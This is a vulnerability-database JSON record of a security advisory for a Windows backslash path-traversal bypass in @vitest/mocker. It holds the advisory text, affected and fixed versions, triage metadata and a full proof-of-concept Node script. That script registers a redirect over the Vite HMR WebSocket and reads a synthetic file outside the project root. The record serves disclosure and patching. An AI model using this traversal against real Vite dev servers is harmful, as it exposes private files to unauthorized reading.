{"id":"CVE-2026-112950","kind":"vulnerability","aliases":["CVE-2026-112950","GHSA-xp26-3454-mjgp"],"related":[],"title":"Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix","description":"## Summary\n\nThe path traversal fix released for [GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) can be bypassed on Windows by using a backslash in the redirect URL pathname.\n\nThe fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\\secret.txt` retains `..\\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.\n\nI reproduced the issue with the published `@vitest/mocker` packages in both fixed release lines:\n\n- `@vitest/mocker@4.1.11`\n- `@vitest/mocker@5.0.0`\n\nThe current `main` source at commit `2ce29d5fa758046e5453bd92b8ed6c9da9709bb5` has the same behavior.\n\n## Patches\n\nFixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so `..\\` resolves the same as `../` and the allowlist check rejects it.\n\n## Relationship to GHSA-82fw-gwwq-j7x9\n\nThis is a bypass of the accepted fix, not a separate unrelated path. It uses the same `vitest:interceptor:register` redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.\n\nThe original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:\n\n- `4.1.11`\n- `>=5.0.0-rc.2, <5.0.3`\n\nOlder affected releases remain covered by GHSA-82fw-gwwq-j7x9.\n\n## Root cause\n\n`packages/mocker/src/node/interceptorPlugin.ts` imports `join` from `node:path/posix`. Redirect registration currently performs the equivalent of:\n\n```ts\nconst redirect = join(server.config.root, redirectUrl.pathname)\nif (!isFileLoadingAllowed(server.config, redirect)) return\nevent.redirect = redirect\n```\n\nThe registered value later reaches:\n\n```ts\nreadFile(mock.redirect, 'utf-8')\n```\n\nVite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but `readFile` interprets them as separators. The check and the sink therefore interpret the same string differently.\n\nThe authenticated browser RPC fallback in `packages/browser/src/node/rpc.ts` is not affected: it joins the path with `pathe`, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path.\n\n## Preconditions and impact\n\nA client that can reach a Vite server using the public `mockerPlugin` or standalone `interceptorPlugin` WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside `server.fs.allow` that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.\n\nThe reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.\n\n## Reproduction\n\nTested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling `secret.txt` containing a canary.\n\nInstall dependencies for either affected line:\n\n```console\nnpm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3\n# or\nnpm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3\nnode poc.mjs\n```\n\n`poc.mjs`:\n\n```js\nimport { mkdir, writeFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport { tmpdir } from 'node:os'\nimport { randomUUID } from 'node:crypto'\nimport { interceptorPlugin } from '@vitest/mocker/node'\nimport { createServer } from 'vite'\nimport { WebSocket } from 'ws'\n\nconst base = join(tmpdir(), `vitest-path-${randomUUID()}`)\nconst root = join(base, 'root')\nconst secret = join(base, 'secret.txt')\nawait mkdir(root, { recursive: true })\nawait writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')\n\nconst server = await createServer({\n  root,\n  configFile: false,\n  logLevel: 'silent',\n  server: { fs: { allow: [root] } },\n  plugins: [\n    {\n      name: 'validation:virtual-modules',\n      enforce: 'pre',\n      resolveId(id) {\n        if (id === '/control' || id === '/bypass') return id\n      },\n    },\n    interceptorPlugin(),\n  ],\n})\n\nawait server.listen()\nconst port = new URL(server.resolvedUrls.local[0]).port\nconst baseUrl = server.resolvedUrls.local[0]\n\nfunction register(id, redirect) {\n  return new Promise((resolve, reject) => {\n    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')\n    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)\n    socket.on('message', (raw) => {\n      let message\n      try { message = JSON.parse(raw.toString()) } catch { return }\n      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {\n        clearTimeout(timer)\n        socket.close()\n        resolve()\n      }\n    })\n    socket.on('open', () => socket.send(JSON.stringify({\n      type: 'custom',\n      event: 'vitest:interceptor:register',\n      data: { type: 'redirect', raw: '', id, url: id, redirect },\n    })))\n    socket.on('error', reject)\n  })\n}\n\ntry {\n  await register('/control', 'traversal:../secret.txt')\n  const controlResponse = await fetch(new URL('/control', baseUrl))\n  const controlBody = await controlResponse.text()\n\n  await register('/bypass', 'traversal:..\\\\secret.txt')\n  const bypassResponse = await fetch(new URL('/bypass', baseUrl))\n  const bypassBody = await bypassResponse.text()\n\n  const result = {\n    platform: process.platform,\n    root,\n    outsideFile: secret,\n    slashTraversalStatus: controlResponse.status,\n    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),\n    backslashTraversalStatus: bypassResponse.status,\n    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),\n    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,\n    expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',\n  }\n  console.log(JSON.stringify(result, null, 2))\n  const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked\n    ? !result.backslashTraversalReturnedOutsideCanary\n    : result.backslashTraversalReturnedOutsideCanary\n  if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1\n} finally {\n  await server.close()\n}\n```\n\nObserved with `@vitest/mocker@4.1.11`:\n\n```json\n{\n  \"platform\": \"win32\",\n  \"slashTraversalStatus\": 404,\n  \"slashTraversalRejected\": true,\n  \"backslashTraversalStatus\": 200,\n  \"backslashTraversalReturnedOutsideCanary\": true,\n  \"returnedBody\": \"SYNTHETIC_OUTSIDE_ROOT_CANARY\",\n  \"expectedBackslashTraversalBlocked\": false\n}\n```\n\nThe same result was observed with `@vitest/mocker@5.0.0`.\n\nThis includes two useful controls:\n\n1. `traversal:../secret.txt` is rejected and returns 404, confirming the published forward-slash fix is active.\n2. `traversal:..\\secret.txt` returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.","summary":"A fix for an earlier Vitest path traversal in @vitest/mocker can be bypassed on Windows by using backslashes in a redirect URL. An attacker who can reach the Vite dev server's WebSocket can read files outside the project root that the Vitest process can access.","severity":"medium","cvss":5.900000095367432,"epss":0.003819999983534217,"exploited":false,"exploited_at":null,"products":[{"name":"@vitest/mocker","fixed":["4.1.12"],"affected":">= 4.1.11, < 4.1.12","ecosystem":"npm"},{"name":"@vitest/mocker","fixed":["5.0.3"],"affected":">= 5.0.0-rc.2, < 5.0.3","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["ai-tooling","cwe-22","dev-server","mocker","npm","package","vite","vitest","windows"],"not_affected_if":["no-mocker-plugin","non-windows","versions-outside-range","vitest-browser-mode"],"how_to_check":"Run npm ls @vitest/mocker and confirm whether the version is 4.1.11 or >=5.0.0-rc.2 and <5.0.3.\nConfirm the server runs on Windows and uses mockerPlugin or interceptorPlugin from @vitest/mocker.","fix":"Upgrade @vitest/mocker to 4.1.12 or 5.0.3 (or the Vitest release that depends on it).\nUntil then, avoid exposing the Vite dev server beyond loopback on Windows.","status":"open","published_at":"2026-10-20T16:17:05+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T20:55:30+00:00","updated_at":"2026-10-23T21:57:20+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T20:55:30Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade @vitest/mocker to 4.1.12 or 5.0.3 (or the Vitest release that depends on it).\nUntil then, avoid exposing the Vite dev server beyond loopback on Windows.","reach":"network","impact":"medium","summary":"A fix for an earlier Vitest path traversal in @vitest/mocker can be bypassed on Windows by using backslashes in a redirect URL. An attacker who can reach the Vite dev server's WebSocket can read files outside the project root that the Vitest process can access.","category":"package","who_cares":["vitest","windows","npm","vite","dev-server"],"confidence":0.8,"needs_auth":"no","worst_case":"Attacker reads files outside project root on Windows dev server","analyst_note":"","how_to_check":"Run npm ls @vitest/mocker and confirm whether the version is 4.1.11 or >=5.0.0-rc.2 and <5.0.3.\nConfirm the server runs on Windows and uses mockerPlugin or interceptorPlugin from @vitest/mocker.","needs_analyst":false,"not_affected_if":["non-windows","versions-outside-range","vitest-browser-mode","no-mocker-plugin"],"user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"medium"},"cost_usd":0.001169,"input_tokens":5974,"output_tokens":1143,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-09':226C '-112950':13A,21A '-2026':12A,20A '-22':28B '-30':227C '-8':397C '/project/root':147C '/vitest-dev/vitest/security/advisories/ghsa-82fw-gwwq-j7x9)':98C '11377':229C '2025':586C '2026':225C '22':589C '2ce29d5fa758046e5453bd92b8ed6c9da9709bb5':213C '3454':17A '4.1.11':204C,328C,345C,618C '4.1.12':233C '5.0.0':206C,330C,346C,627C '5.0.3':222C,348C '7.1.5':620C,629C '8.18.3':622C,631C '82fw':93C,270C,357C 'absolut':405C 'accept':163C,279C,323C 'access':83B,457C,516C 'account':514C 'advisori':305C,326C,567C 'affect':336C,350C,442C,528C,612C 'ai':25B 'ai-tool':24B 'allow':158C 'allowlist':9A,138C,162C,262C,400C 'api':553C 'attack':61B,119C 'attacker-control':118C 'authent':434C 'backport':231C 'backslash':3A,55B,107C,175C,239C,320C,415C,451C 'begin':155C 'behavior':217C 'browser':435C,518C 'bypass':5A,50B,101C,276C 'c':146C 'call':168C,547C 'canari':607C 'caus':361C 'check':139C,263C,401C,423C,458C 'client':473C,497C 'code':115C 'commit':212C 'configur':187C 'connect':538C 'consol':614C 'const':376C 'contain':605C 'control':120C 'convert':238C,450C 'correspond':575C 'cover':353C 'creat':592C 'current':208C,370C 'cve':11A,19A 'cwe':27B 'default':568C 'depend':609C 'deploy':561C 'describ':563C 'dev':30B,67B 'dev-serv':29B 'develop':572C 'differ':432C 'directori':600C 'earlier':42B 'either':611C 'equival':318C,373C 'event.redirect':386C 'expect':402C 'expos':577C 'fallback':437C 'file':73B,137C,184C,299C,507C,596C 'file-read':298C 'filesystem':171C,406C 'fix':10A,39B,88C,114C,200C,219C,280C,315C,342C 'forward':245C,308C,453C 'forward-slash':307C 'fs/pro':641C 'get':543C 'ghsa':15A,92C,269C,356C 'ghsa-82fw-gwwq-j7x9':91C,268C,355C 'ghsa-xp26':14A 'github':582C 'github-host':581C 'github.com':97C 'github.com/vitest-dev/vitest/security/advisories/ghsa-82fw-gwwq-j7x9)':96C 'gwwq':94C,271C,358C 'handler':525C 'hmr':536C 'host':583C 'http':542C 'impact':471C 'import':363C,636C 'incomplet':341C 'instal':608C,616C,625C 'interceptor':291C 'interceptorplugin':486C 'intern':551C 'interpret':418C,428C 'introduc':338C 'isfileloadingallow':382C 'issu':192C 'j7x9':95C,272C,359C 'join':116C,153C,249C,364C,378C,411C,444C 'js':635C 'later':166C,391C 'less':576C 'line':202C,613C 'loopback':570C 'loopback-on':569C 'main':209C 'mark':327C 'mjgp':18A 'mkdir':637C 'mock':493C 'mock.redirect':395C 'mocker':32B,465C 'mockerplugin':483C 'mode':519C 'modul':503C 'network':556C 'newli':335C 'node':128C,366C,632C,640C 'node.js':588C 'normal':404C,414C,541C 'npm':33B,615C,624C 'older':349C 'origin':304C,325C,566C 'outsid':74B,185C,508C 'packag':34B,197C 'packages/browser/src/node/rpc.ts':439C 'packages/mocker/src/node/interceptorplugin.ts':362C 'pass':131C 'patch':218C,333C 'path':44B,86C,178C,285C,407C,446C,448C,468C 'path/posix':129C,367C 'pathnam':112C,122C,243C,251C 'perform':371C 'plugin':549C 'poc.mjs':633C,634C 'posix':152C,410C 'pr':228C 'practic':555C 'precondit':469C,562C 'process':81B,513C 'project':76B 'public':464C,482C 'publish':195C 'rang':337C 'rc.2':331C,347C 'reach':64B,392C,476C 'reachabl':557C 'read':72B,181C,300C,505C 'readfil':167C,394C,417C 'redirect':8A,58B,110C,235C,293C,368C,377C,384C,387C,492C 'redirecturl.pathname':380C 'regist':292C,389C,490C,502C,522C 'registr':236C,294C,369C,467C,488C 'reject':264C,312C 'relationship':266C 'releas':89C,201C,223C,351C 'remain':352C 'reproduc':190C 'reproduct':460C,531C,578C 'request':500C 'resolv':256C 'retain':149C 'return':385C 'root':77B,126C,159C,188C,254C,360C,599C 'rpc':436C 'secret.txt':148C,604C 'semant':172C 'separ':179C,283C,421C 'server':31B,68B,479C,573C,585C 'server.config':383C 'server.config.root':379C 'server.fs.allow':509C 'sibl':183C,603C 'sink':301C,426C 'slash':246C,309C,454C 'sourc':210C 'standalon':485C 'string':133C,431C 'summari':84C 'synthet':595C 'target':462C 'temporari':594C 'test':579C,591C 'therefor':344C,427C 'tool':26B 'transform':552C 'travers':4A,45B,87C,310C,321C 'ts':375C,393C 'unauthent':534C 'unrel':284C 'url':59B,111C,121C,242C 'use':54B,105C,127C,169C,287C,480C,532C 'utf':396C 'valu':143C,390C 'version':529C 'vite':35B,66B,125C,135C,398C,478C,535C,598C,619C,628C 'vitest':1A,36B,43B,80B,290C,517C 'vitest/mocker':7A,22A,23A,47B,196C,203C,205C,221C,617C,626C 'vitest/vite':512C 'websocket':70B,466C,487C,524C,537C 'window':2A,37B,52B,103C,141C,170C,319C,409C,495C,584C 'writefil':638C 'ws':621C,630C 'xp26':16A","nicknames":[],"mitigations":[],"who_affected":null,"tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-20T16:17:05+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-xp26-3454-mjgp","url":"https://github.com/advisories/GHSA-xp26-3454-mjgp","severity":"medium","published_at":"2026-10-21T19:48:38+00:00","modified_at":"2026-10-21T19:48:39+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-112950","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112950","severity":null,"published_at":"2026-10-20T16:17:05+00:00","modified_at":"2026-10-20T19:56:45+00:00","first_seen_at":"2026-10-23T21:57:20+00:00","fetched_at":"2026-10-23T22:28:58+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}